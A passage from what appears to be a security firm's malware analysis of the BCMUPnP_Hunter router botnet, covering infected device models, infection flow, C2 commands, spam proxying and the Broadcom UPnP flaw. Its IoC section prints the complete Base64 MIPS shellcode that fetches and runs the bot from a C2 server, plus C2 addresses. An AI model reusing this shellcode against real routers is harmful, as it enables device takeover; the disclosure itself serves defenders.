Router\nIskraTEL,\tBroadcom ADSL Router\nKasda,\tBroadcom ADSL Router\nLink-One,\tModem Roteador Wireless N ADSL2+ 150 Mbps\nLinksys,\tCisco X1000\nLinksys,\tCisco X3500\nNB,\tDSL-2740B\nNetComm Wireless Limited,\tNetComm ADSL2+ Wireless Router\nNetComm,\tNetComm ADSL2+ Wireless Router\nNetComm,\tNetComm WiFi Data and VoIP Gateway\nOPTICOM,\tDSLink 279\nOpticom,\tDSLink 485\nOrcon,\tGenius\nQTECH,\tQTECH\nRaisecom,\tBroadcom ADSL Router\nRamptel,\t300Mbps ADSL Wireless-N Router\nRouter,\tADSL2+ Router\nSCTY,\tTYKH PON Router\nStar-Net,\tBroadcom ADSL Router\nStarbridge Networks,\tBroadcom ADSL Router\nTP-LINK Technologies Co., Ltd,\t300Mbps Wireless N ADSL2+ Modem Router\nTP-LINK Technologies Co., Ltd,\t300Mbps Wireless N USB ADSL2+ Modem Router\nTP-LINK,\tTP-LINK Wireless ADSL2+ Modem Router\nTP-LINK,\tTP-LINK Wireless ADSL2+ Router\nTechnicolor,\tCenturyLink TR-064 v4.0\nTenda,\tTenda ADSL2+ WIFI MODEM\nTenda,\tTenda ADSL2+ WIFI Router\nTenda,\tTenda Gateway\nTenda/Imex,\tADSL2+ WIFI-MODEM WITH 3G/4G USB PORT\nTenda/Imex,\tADSL2+ WIFI-MODEM WITH EVO SUPPORT\nUTStarcom Inc.,\tUTStarcom ADSL2+ Modem Router\nUTStarcom Inc.,\tUTStarcom ADSL2+ Modem/Wireless Router\nUniqueNet Solutions,\tWLAN N300 ADSL2+ Modem Router\nZTE,\tBroadcom ADSL Router\nZTE,\tONU Router\nZYXEL,\tZyXEL VDSL Router\nZhone,\tBroadcom ADSL Router\nZhone,\tZhone Wireless Gateway\nZoom,\tZoom Adsl Modem/Router\nZyXEL,\tCenturyLink UPnP v1.0\nZyXEL,\tP-660HN-51\nZyXEL,\tZyXEL xDSL Router\nhuaqin,\tHGU210 v3 Router\niBall Baton,\tiBall Baton 150M Wireless-N ADSL2+ Router\niiNet Limited,\tBudiiLite\niiNet,\tBoB2\niiNet,\tBoBLite\n```\n\n# Botnet Workflow\nAs mentioned in the beginning, the bot has to go through multiple steps to infect a protentional target, see the following diagram for the workflow, note the Loader is ( `109.248.9.17:4369`) \n\n<a href=\"__GHOST_URL__/content/images/2018/10/bcm_p.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2018/10/bcm_p0.png\" /></a><center>Figure 1: BCMUPnP_Hunter Infection process (Click to enlarge)</center>\n\n\n# The Sample\nThe sample of the botnet consists of two parts, the shellcode and the Main sample, which are described below.\n\n##shellcode\nThe main function of shellcode is to download the main sample from C2(`109.248.9.17:8738`) and execute it.\n\nThe shellcode has a full length of 432 bytes, very neatly organized and written, some proofs below (We did not find similar code using search engines). It seems that the author has profound skills and is not a typical script kid:\n\n * Code basic: The code has multiple syscall calls for networks, processes, files, etc.\n * Some details: `syscall 0x40404`(instead of `syscall 0`) and multiple inversion operations were used so bad characters (`\\x00`) could be avoided;  the stack variables in the code also have different degrees of multiplexing to optimize the runtime stack structure;\n * Code logic: by calling the Loop at various section, the possibility of many failed calls is reasonably avoided, and the validity of shellcode execution is guaranteed. \n\nThe complete flow chart is as follows:\n\n<a href=\"__GHOST_URL__/content/images/2018/10/5431_mips_shellcode_color.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2018/10/5431_mips_shellcode_color_min.png\" /></a><center>Figure 2: Shellcode calling graph(Click to enlarge)</center>\n\n\n\n##Main Sample\n\nThe main sample includes BroadCom UPnP vulnerability probe and a proxy access network module, it can parse four instruction codes from C2:\n\n```\nCommand Code  |   Length   |  Function\n0x00000000         0x18       The first packet, no practical function\n0x01010101         0x4c       Search for potential vulnerable target\n0x02020202         0x08       Empty current task \n0x03030303         0x108      Access Proxy Network\n```\n\n\n * `0x01010101` to enable the port scan task, once the BOT IDs a potential target, the target IP will be reported to the Loader, and then the Loader will complete the subsequent infection process.\n * `0x03030303` is for the proxy service, BOT accesses the address provided in the instruction and reports the access result to the C2. This can generate real economic benefits. Attackers can use this command to build a proxy network, and then profit from doing things such as sending spam, simulating clicks, and so on. \n\n\n#Proxy Network and Spam\nIn the instructions we have obtained, BCMUPnP_Hunter is used to proxy traffic to the following servers:\n\n```\n104.47.0.33:25\n104.47.12.33:25\n104.47.124.33:25\n104.47.14.33:25\n104.47.33.33:25\n104.47.48.33:25\n104.47.50.33:25\n106.10.248.84:25\n144.160.159.21:25\n188.125.73.87:25\n67.195.229.59:25\n74.6.137.63:25\n74.6.137.64:25\n98.137.159.28:25\n```\n\n\nThis table shows what we have dug out from our various data sources for the above IPs:\n\n![](__GHOST_URL__/content/images/2018/11/proxy_target-1.png)\n\nAs can be seen:\n\n * These servers are all well-known mail service providers, including Outlook, Hotmail, Yahoo! Mail;\n * For several months, these servers have provided and only provided TCP25 services;\n * In this case, it appears that the attacker is abusing the email service of these servers;\n\nThis makes us highly skeptical that the attacker is using the proxy network established by BCMUPnP_Hunter to send spam.\n\n#Contact Us\n\nRelevant security oragnizations are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.\n\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab[at]360.cn.\n\n#Appendix: About the BroadCom UPnP Vulnerability\n\nUPnP is the acronym for Universal Plug and play, the Universal plug-in protocol. [*[1]*](https://en.wikipedia.org/wiki/Universal_Plug_and_Play) The goal of the agreement is to enable home networks (data sharing, communication and entertainment) and various devices in the corporate network to seamlessly connect with each other and simplify the implementation of related networks. Broadcom UPnP is a concrete implementation of Broadcom's response to the UPnP protocol.\n\nAs Broadcom is in the industry upstream of the supply chain, the implementation is adopted by major router manufacturers, including Asus, D-link,zyxel,us Robotics,t p-link,netgear and so on.\n\nIn October 2013, security researchers at security research firm DefenseCode discovered the [BroadCom UPnP format string vulnerability](http://defensecode.com/whitepapers/From_Zero_To_ZeroDay_Network_Devices_Exploitation.txt) in the protocol stack . Considering that the vulnerability affects products from several major router vendors, DefenseCode did not disclose their findings until 2017. The code disclosed this time is of a verification nature[*[2]*](https://www.defensecode.com/public/DefenseCode_Broadcom_Security_Advisory.pdf)  An attacker must complete the necessary vulnerability analysis and optimize the shellcode process on the basis of a publicly available document before it can be of practical power.\n\n# IoC\nC2\n```\n109.248.9.17 \"Bulgaria/BG\" \"AS58222 Solar Invest UK LTD\" #C2&&Loader\n```\nSample MD5\n```\n9036120904827550bf4436a919d3e503\n```\nShellcode(Base64 encode): \n```\nAtYgJSQCD6YBAQEMArUgJSQCD6YBAQEMJ6T/yq+k/+CvoP/kJ6X/4CgG//8kAg+rAQEBDCgE//8kAg+hAQEBDAO9uCUnvf/gJA///QHgICckD//9AeAoJygG//8kAhBXAQEBDK+i/9yPtv/cJA8TNwLWICUkD//9AeB4J6ev/+AkDyIip6//4iQPbfinr//kJA8JEaev/+avoP/or6D/7Cel/+AkD//vAeAwJyQCEEoBAQEMJA8vdKev/8okD21wp6//zCQPL3Snr//OJA9tcKev/9AkD2Zzp6//0qeg/9QnpP/KJA/+EgHgKCckAg/HAQEBDCgE//8npf/KJ6b/zygH//+u4P/wJAIPtQEBAQwkDy90p6//1CQPbXCnr//WJA9mc6ev/9inoP/aJ6T/yiQP/hIB4CgnJAIPqAEBAQyvov/cj7X/3CQPEzcC1iAlJ6X/4CQP/98B4DAnKAf//yQCEE8BAQEMr6L/3I+0/9wkDxM3BoD/ryQPEzcagP+gJA8TNwK1ICUnpf/gApQwJSQCD6QBAQEMFoL/piQPEzcSgv/qJA8TNzQP3q00D96t\n```\n\n\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}